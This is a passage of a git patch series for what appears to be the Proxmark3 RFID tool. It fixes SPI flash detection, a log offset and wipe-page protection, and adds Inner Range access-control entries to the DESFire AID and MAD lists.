Sun, 17 Nov 2024 22:38:59 +0200 Subject: [PATCH 152/155] fix signature offset in a log message too hopefully last one (tm) --- client/src/cmdflashmem.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/client/src/cmdflashmem.c b/client/src/cmdflashmem.c index a87f62a18..c9d126147 100644 --- a/client/src/cmdflashmem.c +++ b/client/src/cmdflashmem.c @@ -148,7 +148,7 @@ static int rdv4_sign_write(uint8_t *signature, uint8_t slen) { return PM3_EFAILED; } } - PrintAndLogEx(SUCCESS, "Writing signature at offset %u ( "_GREEN_("ok") " )", FLASH_MEM_SIGNATURE_OFFSET); + PrintAndLogEx(SUCCESS, "Writing signature at offset %u ( "_GREEN_("ok") " )", FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages)); return PM3_SUCCESS; } From 51a94d6d51ed4395bd5bc7047dc8f805765ab745 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Sun, 17 Nov 2024 23:56:40 +0200 Subject: [PATCH 153/155] restore config page (the last page) protection from wiping --- client/src/cmdflashmem.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/client/src/cmdflashmem.c b/client/src/cmdflashmem.c index c9d126147..d1e9ab672 100644 --- a/client/src/cmdflashmem.c +++ b/client/src/cmdflashmem.c @@ -460,8 +460,8 @@ static int CmdFlashMemWipe(const char *Cmd) { return res; } - if (page < 0 || page > (spi_flash_pages - 1)) { - PrintAndLogEx(WARNING, "page must be between 0 and %d", spi_flash_pages - 1); + if (page < 0 || page > (spi_flash_pages - 2)) { + PrintAndLogEx(WARNING, "page must be between 0 and %d", spi_flash_pages - 2); return PM3_EINVARG; } From 68e354d7ef22eb260cd9f038ccfc1381546e55f3 Mon Sep 17 00:00:00 2001 From: ANTodorov Date: Mon, 18 Nov 2024 11:45:21 +0200 Subject: [PATCH 154/155] fix failed spi flash detection fallback to 4 pages when SPI IC is unknown some code styling remove some unused code --- common_arm/flashmem.c | 19 ++++--------------- common_arm/flashmem.h | 4 ++-- 2 files changed, 6 insertions(+), 17 deletions(-) diff --git a/common_arm/flashmem.c b/common_arm/flashmem.c index f81955236..d316fa945 100644 --- a/common_arm/flashmem.c +++ b/common_arm/flashmem.c @@ -455,24 +455,17 @@ void Flashmem_print_info(void) { } //read spi flash JEDEC ID and fill the global variable spi_flash_p64k -bool FlashDetect(bool flash_init) { +bool FlashDetect(void) { flash_device_type_t flash_device = {0}; - if (flash_init) { - if (!FlashInit()) { - if (g_dbglevel > 3) Dbprintf("FlashDetect() FlashInit fail"); - return false; - } - } - if (!Flash_ReadID(&flash_device, true)) { if (g_dbglevel > 3) Dbprintf("Flash_ReadID failed"); return false; } - uint32_t identifier = (flash_device.manufacturer_id <<16) + (flash_device.device_id <<8) + flash_device.device_id2; + uint32_t identifier = (flash_device.manufacturer_id << 16) + (flash_device.device_id <<8 ) + flash_device.device_id2; int i = 0; - for (; i < ARRAYLEN(SpiFlashTable); i++) { + for (; i < ARRAYLEN(SpiFlashTable)-1; i++) { if (SpiFlashTable[i].identifier == identifier) { break; } @@ -480,10 +473,6 @@ bool FlashDetect(bool flash_init) { spi_flash_p64k = SpiFlashTable[i].pages64; - if (flash_init) { - FlashStop(); - } - return true; } @@ -503,7 +492,7 @@ bool FlashInit(void) { #ifndef AS_BOOTROM if (spi_flash_p64k == 0) { - if (!FlashDetect(false)) { + if (!FlashDetect()) { return false; } } diff --git a/common_arm/flashmem.h b/common_arm/flashmem.h index 5718963f3..fd407299c 100644 --- a/common_arm/flashmem.h +++ b/common_arm/flashmem.h @@ -151,7 +151,6 @@ typedef struct spi_flash_s { const char *desc; } spi_flash_t; -// spi_flash_t is expected to be NULL terminated const static spi_flash_t SpiFlashTable[] = { // Manufacturer: Puya { 0x856015, 32, "P25Q16H" }, @@ -165,6 +164,7 @@ const static spi_flash_t SpiFlashTable[] = { { 0xEF4016, 64, "W25Q32BV" }, { 0xEF7022, 4, "W25Q02JV" }, + // (default) last record { 0x000000, 4, "Unknown!" } }; @@ -174,7 +174,7 @@ const static spi_flash_t SpiFlashTable[] = { extern uint8_t spi_flash_p64k; -bool FlashDetect(bool); +bool FlashDetect(void); #endif // #ifndef AS_BOOTROM From 024f7c507fbfce452a448701c08b2c0eab4cc1b4 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Mon, 18 Nov 2024 16:58:15 +0100 Subject: [PATCH 155/155] updated with a inner range AU entry --- CHANGELOG.md | 3 ++- client/resources/aid_desfire.json | 8 ++++++++ client/resources/mad.json | 7 +++++++ 3 files changed, 17 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index f9e101fa7..94ab07612 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,7 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] -- Use all available space from the SPI flash (@ANTodorov) +- Added Inner range aid and mad entries (@iceman1001) +- Changed `mem spiffs` - Use all available space in SPI flash (@ANTodorov) - Fixed wrong size check in MifareSim (@iceman1001) - Fixed `hf mf sim` not to respond to authentication attempts for sectors out of bound for selected Mifare type (@piotrva) - Added option to build against non-default python3 with CMake as well (@doegox) diff --git a/client/resources/aid_desfire.json b/client/resources/aid_desfire.json index bde04bd92..b3dc2bcfd 100644 --- a/client/resources/aid_desfire.json +++ b/client/resources/aid_desfire.json @@ -199,6 +199,14 @@ "Description": "Access Control", "Type": "pacs" }, + { + "AID": "F47300", + "Vendor": "Inner Range", + "Country": "AU", + "Name": "Sifer-P, Sifer-U Credential", + "Description": "Inner Range access control", + "Type": "pacs" + }, { "AID": "F48120", "Vendor": "Gallagher Group Limited via PEC (New Zealand) Limited", diff --git a/client/resources/mad.json b/client/resources/mad.json index a9158fa2a..bd457ca8b 100644 --- a/client/resources/mad.json +++ b/client/resources/mad.json @@ -4690,6 +4690,13 @@ "service_provider": "Enkoa", "system_integrator": "Juan Cruz Iriondo" }, + { + "application": "Access control", + "company": "Inner Range", + "mad": "0x4730", + "service_provider": "Inner Range", + "system_integrator": "Inner Range" + }, { "application": "Trade fair card Deutsche Messe AG, Hannover", "company": "Systemform GmbH",